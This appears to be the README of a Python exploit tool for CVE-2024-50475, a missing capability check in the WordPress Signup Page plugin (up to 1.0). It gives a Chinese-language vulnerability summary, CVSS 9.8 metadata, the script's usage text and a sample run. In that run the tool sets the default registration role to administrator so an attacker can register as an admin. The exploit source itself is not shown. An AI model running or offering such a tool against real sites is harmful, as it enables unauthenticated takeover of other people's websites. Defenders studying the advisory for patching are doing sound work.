Signup Page <= 1.0 - 未认证的任意选项更新
WordPress的Signup Page插件在所有版本(包括1.0)中因缺少权限检查而存在数据未授权修改漏洞,可导致权限提升。这使得未认证攻击者能够更新WordPress站点的任意选项。此漏洞可被利用将默认注册角色更新为管理员,并启用用户注册,从而使攻击者获得受影响站点的管理员用户访问权限。
Published: 2024-10-25 00:00:00
CVE: CVE-2024-50475
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: signup-page
$ python3 CVE-2024-50475.py -h
usage: CVE-2024-50475.py [-h] -u URL [-f FIX]
CVE-2024-50475 | Signup Page <= 1.0 - Unauthenticated Arbitrary Options Update The Signup Page plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check in
all versions up to, and including, 1.0. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user
registration for attackers to gain administrative user access to a vulnerable site.
options:
-h, --help show this help message and exit
-u URL, --url URL Website URL
-f FIX, --fix FIX Reset after Exploit
$ python3 CVE-2024-50475.py -u http://kubernetes.docker.internal
Vulnerability check: http://kubernetes.docker.internal
Option set successfully: http://kubernetes.docker.internal/wp-admin/admin-ajax.php
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.